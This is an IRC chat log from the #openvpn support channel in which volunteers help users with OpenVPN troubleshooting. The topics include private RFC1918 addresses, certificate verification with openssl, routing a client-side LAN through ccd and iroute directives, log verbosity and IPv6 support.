14:22 <+pekster> Repeating it doesn't change the fact that you are connecting to an RFC1918 address that is apparently not receiving packets you send to it
14:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection reset by peer]
14:23 <+pekster> I have no clue what is dropping your packets, nor why you insist this is a "public" server when RFC1918 is by definition not public
14:23 < vijay> Might be the firewall ?
14:24 < vijay> my iptables is allowing the traffic.. As you can see in previously pasted in pastebin
14:25 <+pekster> You've pasted no firewall rules
14:25 <+pekster> Further, you still haven't explained why your client is using an RFC1918 --remote IP
14:25 <+pekster> And quite frankly if you don't understand that a 10/8 address isn't on the public Internet, then you probably shouldn't be running a VPN in the first place
14:26 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
14:26 < vijay> http://pastebin.com/uG4LcAsF     --firewall rules
14:26 <+pekster> Why have you used 10.200.0.60? Why do you call it "public" ? Can you ping/traceroute to this IP?
14:27 <+pekster> That output is worthless. https://www.pekster.net/staging/josh/md/iptables-L.html
14:28 < vijay> That is the reason i am saying..  10.200.0.60 is the VM ip of the public ssh server
14:28 < vijay> public ssh server can be reached and its pingable and we connect through it
14:29 < vijay> We want the VM to authenticate the request
14:29 <+pekster> 10/8 is not public. Go read about RFC1918 if this is confusing to you
14:31 < vijay> So.. we need to modify the changes in the client ?
14:31 <+pekster> You need to define what system you actually want to connect to
14:31 <+pekster> Can you ping or traceroute to 10.200.0.60? If not, you've used the wrong IP
14:31 <+pekster> The only way that would ever make sense is if your client is inside a private network that can route to that private IP
14:32 <+pekster> (and if you're in a private network, you don't usually need to use a VPN to get to the remote network in the first place)
14:32 <+pekster> !rfc1918
14:32 <@vpnHelper> "rfc1918" is "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
14:32 <+pekster> wikipedia would be an excellent place to start if you've never heard of RFC1918, as would a basic networking book at that point
14:36 < vijay>  My public ssh server  115.114.x.x... Usually we connect to this using ssh  .Also it has private ip in the range on 10.200.x.x  .We have built a VM in same ip range 10.200.x.x
14:36 < vijay> Now our motto is to have openvpn installed on the vm and it should take care of the requests and make sure the communication happens through 10.200.x.x
14:37 < vijay> Sorry.. if i trouble you. .but i need this setup badly
14:37 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
14:37 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
14:37 < vijay> I dont want to install openvpn software on my public ssh server.. How can i import the key to the client machine?
14:38 <+pekster> What you need badly is to learn how basic networking happens, without which you cannot hope to admin a VPN
14:38 < vijay> instaed i want to install on the VM.. How can the client identify if it has the VM ca cerfificate
14:38 -!- akurilin [~akurilin@208.185.21.146] has quit [Read error: Connection reset by peer]
14:38 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
14:39 <+pekster> You'd compare the CA cert fingerprint against an authenticated copy from the responsible admin who created it
14:40 <+pekster> Maybe you should try using the public IP you'd reach this VM that runs openvpn. RFC1918 does not, as far as the Internet is concerned, exist.
14:40 < vijay> And the firewall rules should be enabled in the public ip ssh server ?
14:41 < vijay> And where can we say to Public IP ssh server to route to the VM for accepting requests.. Is it should be placed in any of the config file ??
14:41 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
14:41 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
14:42 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
14:43 < vijay> Because the required users are created under the VM machine..
14:43 <+pekster> !101
14:43 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
14:44 <+pekster> You need a lot more than openvpn help. Try reading your VM system documentation if you need help learning to expose ports to your VMs. Either give the VM a public IP or forward it through the NAT you're using from a system that does have one
14:44 <+pekster> How you do that is completely out of scope for this channel
14:46 < vijay> I wil complety remove the VM and will try to configure my public ip server as the openvpn server
14:46 < vijay> and will check if i can connect through openvpn
14:46 < vijay> may be..this should work hope so
14:48 < vijay> And all the communication for openvpn goes through udp 1194 right??
14:48 < vijay> Please answer this and i wil quit from here..
14:49 <+pekster> By default, yes, configurable with --port --proto (conslut the manpage for details)
14:50 < vijay> oh.so we can use any proto or port ?
14:50 < vijay> okay.. Thanks..
14:51 < vijay> Thanks a lot for all your help.. I am the beginner and learnt from you.. You are the best.. See you again
14:52 -!- vijay [~vijay@123.63.36.218] has quit [Quit: Leaving]
14:57 <+pekster> !learn netfilter as Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
14:57 <@vpnHelper> Joo got it.
15:09 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 240 seconds]
15:23 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:26 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
15:35 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
15:39 < Ziber> What resources would be most useful for trying to get a client to connect as well as the subnet behind it?
15:49 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has joined #openvpn
15:50 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
15:56 <+pekster> Ziber: details/flowchart in !clientlan (plus basic networking skills)
16:04 < Ziber> !clientlan
16:04 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
16:04 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
16:05 < Ziber> In the ccd file, is it iroute <route> <netmask> <gateway>
16:05 < Ziber> ?
16:06 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
16:07 <+pekster> Just route & netmask; there is no "gateway" since this is an internal-to-openvpn directive that ties that network to the client
16:07 <+pekster> You also need a matching --route define in the server's config so the kernel has the route. The kernel route gets the packet to the openvpn process, and the --iroute directive asssociates it to the right client
16:09 < Ziber> Alright.
16:10 -!- fling [~fling@fsf/member/fling] has joined #openvpn
16:10 < Ziber> Tried to run it on another server (the one with the lan behind it), syslog doesnt have any errors, but the interface didn't come up.
16:12 < Ziber> This is going to be slightly confusing, actually. There's already an IP tunnel (for ipv6) between these servers...
16:13 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
16:16 < Ziber> Oh, that shouldn't matter. Found errors in the server logs.
16:17 < Ziber> What does "unable to get local issuer certificate" mean?
16:19 <+pekster> The cert in question doesn't have a matching CA cert; that's usually caused by using the wrong --ca file
16:21 -!- AginLap [~AginLap@109.201.152.238] has quit [Quit: Leaving]
16:22 < Ziber> ca.crt is the same on both the client and the server.
16:23 <+pekster> !verify
16:24 <@vpnHelper> "verify" is (#1) If you receive certificate-based 'VERIFY ERROR' messages, you can manually verify the remote cert against a local CA using openssl: `openssl verify -verbose -CAfile /local/ca.crt /remote/copy/of/other.crt` or (#2) Note that this requires you to manually transfer the remote certificate to the local system for testing or (#3) You can also manually check issuer fingerprints with
16:24 <@vpnHelper> detailed cert output: `openssl x509 -in /some/cert.crt -noout -text` and compare against the CA cert fingerprint
16:24 < Ziber> md5sum verifies, right?
16:24 <+pekster> No
16:24 < Ziber> Alright.
16:25 <+pekster> md5sum checksums your files; that is in no way related to the signature on the certificate or the issuer fingerprint, which is a hash of the issuing (CA) certificate on an entity (issued) cert
16:26 < Ziber> [root@caton] (/etc/openvpn) # openssl verify -verbose -CAfile ca.crt delta/ca.crt
16:26 < Ziber> delta/ca.crt: OK
16:26 < Ziber> caton is "server", delta is "client".
16:26 <+pekster> Did you really name your client cert "ca.crt" ?
16:27 < Ziber> Yeah.
16:27 <+pekster> ..
16:27 < Ziber> Sorry, why is that wrong?
16:27 <+pekster> So then you what, renamed it on the client, or did you call your ca.crt on the client something else?
16:27 < Ziber> on the client it's delta.crt
16:27 < Ziber> on the server it's ca.crt
16:28 <+pekster> It's no less wrong than calling your cat's name "dog", though it is unconventional
16:31 < Ziber> Alright, I've fixed it to be more conventional because I'm beginning to understand.
16:31 < Ziber> client.{key,crt}, ca.crt
16:31 <+pekster> Does that client cert match (checksum is fine) what the client is actively using in its config?
16:33 < Ziber> I'm not sure I understand that question.
16:33 <+pekster> Verifying a client cert only works if you verify what the client is actually sending
16:34 < Ziber> Yes, it's the same file, same directory.
16:34 <+pekster> Maybe it's a copy of the file, but if it's actually the same file then that would mean your client is on your server
16:34 < Ziber> Okay, I want to regenerate my client.{crt,key}. How can I do that?
16:35 <+pekster> Using easy-rsa?
16:37 < Ziber> Alright. I did that.
16:37 < Ziber> And I understand that it needs the ca files to generate them from.
16:38 <+pekster> No, keys are generated from random data on your computer and complex math. The CA's only job is to sign requests. https://www.pekster.net/staging/josh/easyrsa3/Intro-To-PKI.html
16:39 < Ziber> Yeah. I mean, they're still needed.
16:40 <+pekster> More details at that intro I wrote, but what happens is 1. you generate an RSA keypair 2. You create a cert request based on the public key and subject data defining your request details. 3. request gets sent to the CA and signed. 4. the signed cert (along with the CA cert, if not already) gets sent back to the client
16:42 < Ziber> Anyway, I gotta go. I'll be back in a few hours, hopefully with a set of fresh eyes to figure this out.
16:42 < Ziber> Thanks for your help though!
16:47 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Quit: elfixit]
16:53 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
17:06 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
17:07 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
17:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:19 -!- demfc [~gtsb@gateway/tor-sasl/gitsu-sa] has joined #openvpn
17:22 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn []
17:26 -!- demfc [~gtsb@gateway/tor-sasl/gitsu-sa] has quit [Quit: demfc]
17:26 -!- demfc [~gtsb@gateway/tor-sasl/gitsu-sa] has joined #openvpn
17:26 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:26 -!- mode/#openvpn [+o raidz] by ChanServ
17:29 -!- demfc [~gtsb@gateway/tor-sasl/gitsu-sa] has quit [Client Quit]
17:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:43 -!- klein [~klein@187.85.190.29] has joined #openvpn
17:43 -!- klein [~klein@187.85.190.29] has quit [Changing host]
17:43 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:47 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
17:57 -!- mattock is now known as mattock_afk
17:59 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has quit [Quit: Ex-Chat]
18:07 -!- mattock_afk is now known as mattock
18:09 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:10 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 264 seconds]
18:10 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
18:13 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
18:15 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
18:20 -!- peper [~peper@gentoo/developer/peper] has quit [Remote host closed the connection]
18:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
18:25 < Ziber> Hey, pekster, still around? I'm back for a bit.
18:31 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
18:32 < Ziber> I've got it connected to delta, not on the address I'm trying though.
18:36 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit []
18:39 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
18:39 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
18:40 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
18:53 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
19:00 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has joined #openvpn
19:10 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Read error: Operation timed out]
19:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 264 seconds]
19:18 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
19:20 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
19:33 -!- debbie10t_afk [~ma1com10t@host-92-20-13-103.as13285.net] has quit [Quit: Nettalk6 - www.ntalk.de]
19:38 -!- u0m3_ [~u0m3@92.80.81.116] has joined #openvpn
19:40 -!- u0m3__ [~u0m3@92.80.81.116] has joined #openvpn
19:40 -!- u0m3 [~u0m3@92.80.81.116] has quit [Ping timeout: 272 seconds]
19:43 -!- u0m3_ [~u0m3@92.80.81.116] has quit [Ping timeout: 265 seconds]
19:46 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
19:49 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
19:50 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Ping timeout: 245 seconds]
19:58 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
19:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
20:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
20:08 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
20:14 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
20:14 < Moonlightning> OpenVPN tends to dump 'read UDPv4 [EHOSTUNREACH]: No route to host (code=113)' into syslog when a client disconnects ungracefully. Can I suppress that?
20:15 < Moonlightning> …actually, can I suppress a /lot/ of messages?
20:15 < Moonlightning> …should I just lower the log level?
20:17 < Moonlightning> I'd probably be fine with just /client is connecting/, /client has connected/, /client authentication failed/ messages, rather than all the detailed stuff it outputs now.
20:23 < Ziber> Moonlightning: Lower verbose.
20:23 < Moonlightning> yep.
20:24 < Moonlightning> Can I get more information on levels 1..4?
20:24 < Moonlightning> All the manual says is ==> Normal usage range.
20:26 < Ziber> Any experience including a client's subnet on the vpn?
20:29 <+pekster> Ziber: You've been given steps and a flowchart. Instead of asking if "anyone has experience" how about you explain what you've read/done, what you've learned, what isn't working, and what you've tried to do to fix it
20:30 <+pekster> Moonlightning: 3 is a fairly common verb level; 4 is more chatty, and 5 is for debugging firewall issues (prints characters for every tun and raw packet read/write.) 2 & 1 are quieter yet, and 0 outputs fatal errors only
20:30 <+pekster> For more details, see errlevel.h in the source tree
20:31 -!- schnitzl [~schnitzl@dslb-188-110-235-021.pools.arcor-ip.net] has quit [Ping timeout: 245 seconds]
20:32 -!- schnitzl [~schnitzl@dslb-094-217-197-179.pools.arcor-ip.net] has joined #openvpn
20:38 < Ziber> pekster: Okay. I've got two clients successfully connected to the VPN, my laptop and a home server (Delta). From my laptop I want to be able to access the rest of the machines on my LAN. I have "route 192.168.1.0 255.255.255.0" in my server.conf, and iroute for the same subnet and mask in a ccd file for the server. Oddly, the ccd file has an address push as well, but Delta seemingly ignores it.
20:39 <+pekster> The ccd file for the "delta" client needs to be stored in the ccd dir on the server and the filename must _exactly_ match the CN value of the cert
20:39 < Ziber> See, that was going to be my question, how it knew.
20:39 <+pekster> If you're not sure, double-check what that is with `openssl x509 -in client.crt -noout -text`
20:40 <+pekster> Note that your probably need to include a push for that route in your server config, though you could do it in ccd files for the other clients too if you preferred
20:40 < Moonlightning> Why does reload send openvpn a SIGTERM?
20:41 < Moonlightning> I only wanted to change the logging verbosity…it didn't need to kill the server, did it? x.x
20:41 <+pekster> Moonlightning: "reload" ? Sounds like a distro initscript thing, in which case you should read what your initscript is doing. Probably calling stop; start
20:41 <+pekster> You can read about --management and change verb level that way, but you need to have defined that at runtime
20:42 < Moonlightning> looks like it.
20:44 < Moonlightning> Should I just SIGHUP openvpn instead?
20:44 < Ziber> Hrm.
20:45 < Moonlightning> Also: my client took a while to reconnect when the server restarted. Can that be fixed?
20:46 <+pekster> Fixed? Play with --ping/--ping-restart values if you don't like what they're set to now
20:47 <+pekster> That's a trade-off though, since lower timeout value means an earlier disconnect during network hiccups
20:48 < Ziber> pekster: Alright, I figured that part out. It's now following what it's in the file. How can I change the CN of Delta? And the route part still isn't working. I'm also suspicious of the fact that Delta now has two routes for 192.168.1/24, to it's actual ethernet interface and to the VPN... Is that going to be a problem?
20:50 <+pekster> If that's the client LAN, you shouldn't push a route to that client from the server, no
20:50 <+pekster> Note that a push for that in the server config will be dropped if it matches an --iroute (thus you can use --push "route .." in the server to push to "all other" clients
20:52 < Ziber> Alright, yeah. My laptop and the VPN server has a route for 192.168.1/24, but not Delta. Still can't ping it.
20:52 <+pekster> That's what, the LAN behind the Delta hsot?
20:53 < Ziber> Yes, the LAN is 192.168.1/24
20:53 < Ziber> (My home LAN...)
20:53 <+pekster> So follow the flowchart to see what you did wrong. Note that if you updated the contents/name of the ccd file you'll need to reconnect the client
20:53 < Ziber> I've reconnected them a bunch of times, yeah.
20:54 <@krzee> sounds like a problem reading the ccd or something, can you post the server log of the client connecting?
20:54 < Ziber> Sure.
20:55 <+pekster> I think that's fixed now that there's not a duplicate route, but logs won't hurt
20:55 <@krzee> and to change common-name you make certs with a different common-name
20:55 <@krzee> (and use them)
20:57 < Moonlightning> ssh seems to be able to tell immediately when a connection has actually died—it prints 'Write failed: broken pipe' and exits.
20:57 < Moonlightning> Well, not immediately, but if I try to type anything.
20:58 <+pekster> TCP is stateful; UDP is not
20:58 -!- Carbon_Monoxide [~cmonxide@14.0.143.94] has joined #openvpn
20:59 <+pekster> And if TCP packets just get lost, it'll take a while to time out too (though ssh has options to send keepalive packets and a timeout value too)
20:59 -!- Carbon_Monoxide [~cmonxide@14.0.143.94] has left #openvpn []
21:01 < Moonlightning> Shouldn't the control channel be TCP?
21:02 <+pekster> That would complicate the protocol by requiring 2 ports (we have enough broken things on the Internet that do that already; we don't need another.) OpenVPN includes a reliability layer to handle retransmits for control packets over UDP
21:03 <+pekster> Done over today DTLS would probably be used, but that wasn't around earlier on in this project's infancy
21:07 < Ziber> I've got the common name changed, and the routes successfully set up. Except.. it's not working.
21:07 < Ziber> Can i see that link again?
21:08 < Ziber> The flowchart?
21:12 <+pekster> !clientlan
21:13 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
21:13 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
21:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
21:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
21:34 < Ziber> Huh. Just realized I can actually ping the LAN IP of the client. Which means a router issue.
21:40 <+pekster> Often a firewall or lack of IP routing
21:41 < Ziber> And now, lack of DNS resolution, too. :/
21:41 -!- acu [~acu@97-86-240-233.dhcp.roch.mn.charter.com] has joined #openvpn
21:42 < acu> I want to make two remote sites be like one - mostly 5 computers need to access excel files into the main network, what is the minimum bandwith recommended - I am planning to install openvpn in debian linux
21:43 < Ziber> Ah, ACLs in my DNS server.
21:49 < Ziber> Alright, new oddity: I can ping out to my VPN from another machine on my home LAN.
21:59 < Ziber> According to tcpdump... the pings are going through.
22:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-uhyizllcjosmcway] has quit [Ping timeout: 240 seconds]
22:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-bxzchpisjjdefubc] has joined #openvpn
22:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
22:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
22:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
22:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:17 < Ziber> So, I can ping the LAN router, too.
22:22 < Ziber> :/
22:24 < Ziber> Also, can't ping anything from my laptop...
22:25 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
22:26 < Ziber> When connected to the VPN, I can't connect to anything.
22:26 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
22:28 -!- Moonlightning is now known as Moonbitening
22:32 -!- u0m3 [~u0m3@92.80.81.116] has joined #openvpn
22:35 -!- u0m3__ [~u0m3@92.80.81.116] has quit [Ping timeout: 272 seconds]
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:17 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has joined #openvpn
23:24 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
23:25 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has quit [Ping timeout: 246 seconds]
23:26 < Moonbitening> OpenVPN doesn't support IPv6, right?
23:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:28 -!- elfixit [~Icedove@46-65-216-41.zone16.bethere.co.uk] has joined #openvpn
23:29 <+pekster> Moonbitening: >=2.3.0 supports IPv6/IPv4 inside the tunnel, and either v4 or v6 for the transport (but not both in one instance for the latter, at least currently)
23:30 < Moonbitening> So you can do v6 OpenVPN over v4, or v4 OpenVPN over v6, but not v6 over v6?
23:30 <+pekster> Sure you can
23:33 < Moonbitening> …wait, what?
23:34 <+pekster> You can have both a v6 and v4 address on the inside of the tunnel
23:34 <+pekster> THe _one_ thing I said you can't do is have a dual-stack server that can accept both v4 and v6 client connections
23:34 <+pekster> You can run 2 instances for that though
23:36 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:44 -!- elfixit [~Icedove@46-65-216-41.zone16.bethere.co.uk] has quit [Ping timeout: 246 seconds]
23:44 -!- elfixit [~Icedove@82.197.179.4] has joined #openvpn
--- Day changed Fri Nov 01 2013
00:13 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:33 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
00:43 -!- acu [~acu@97-86-240-233.dhcp.roch.mn.charter.com] has quit [Quit: Leaving]
00:50 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:09 -!- Moonbitening [~blackl@unaffiliated/moonlightning] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
01:21 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:35 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 264 seconds]
01:36 -!- emid [~emid@192.241.162.156] has joined #openvpn
01:40 -!- Guest68281 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:59 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 272 seconds]
02:01 -!- emid [~emid@192.241.162.156] has joined #openvpn
02:02 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:15 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 272 seconds]
02:17 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
02:17 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:17 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
02:19 -!- emid [~emid@192.241.162.156] has joined #openvpn
02:35 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
02:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:50 -!- mattock is now known as mattock_afk
03:02 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
03:03 -!- mattock_afk is now known as mattock
03:07 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
03:23 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
03:29 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
03:36 -!- vijay [~vijay@115.114.129.142] has joined #openvpn
03:36 < vijay> hi
03:45 < vijay> http://pastebin.com/ui9ajvaV
03:45 < vijay> This is my client log.. Can you tell me why is the connection being dropped?
03:45 < vijay> when accessing from the client gui
03:47 < vijay> Anyone there?
03:48 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has quit [Quit: Lost terminal]
03:48 -!- Denial [Denial@90.216.209.93] has joined #openvpn
03:51 -!- ludde_ [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
03:51 -!- Stew_a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
03:52 -!- mrrg_ [~notabot@delicious.sykosys.jp] has joined #openvpn
03:52 -!- C_S_B [~C-S-B@host109-145-138-152.range109-145.btcentralplus.com] has joined #openvpn
03:54 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
03:55 -!- _3r3bus_ [~3r3bus@unaffiliated/3r3bus/x-4072414] has joined #openvpn
03:55 -!- GrayR1ft [~GrayR1ft@c220-239-118-21.belrs4.nsw.optusnet.com.au] has joined #openvpn
03:56 -!- _3r3bus_ [~3r3bus@unaffiliated/3r3bus/x-4072414] has left #openvpn []
03:58 < GrayR1ft> Hey there, Im have a problem with my OpenVpn I keep getting this http://puu.sh/55sO6.png when I try to connect. Thank you in advance.
03:58 < vijay> Any one gone through wth this?
03:58 -!- Netsplit *.net <-> *.split quits: VunKruz, _quadDamage, cjross, mrrg, ludde, Stew-a, C-S-B, klaxa
03:58 -!- Stew_a is now known as Stew-a
04:01 -!- Netsplit over, joins: klaxa
04:05 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
04:06 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has joined #openvpn
04:21 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
04:21 < Haxxa> hello
04:22 < Haxxa> My router recently updated to allow it to be used as an openvpn server but I am confused on how to do it
04:22 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
04:25 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Client Quit]
04:32 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
04:36 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
04:41 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
04:45 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
04:46 < vijay> ?
04:49 -!- GrayR1ft [~GrayR1ft@c220-239-118-21.belrs4.nsw.optusnet.com.au] has left #openvpn []
04:50 < Haxxa> @
05:07 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
05:29 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Remote host closed the connection]
05:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:37 -!- vijay [~vijay@115.114.129.142] has quit [Quit: Leaving]
05:38 -!- Haxxa [~Harrison@162.243.39.102] has quit [Excess Flood]
05:38 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
05:39 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
05:40 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
05:42 -!- mattock is now known as mattock_afk
05:58 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
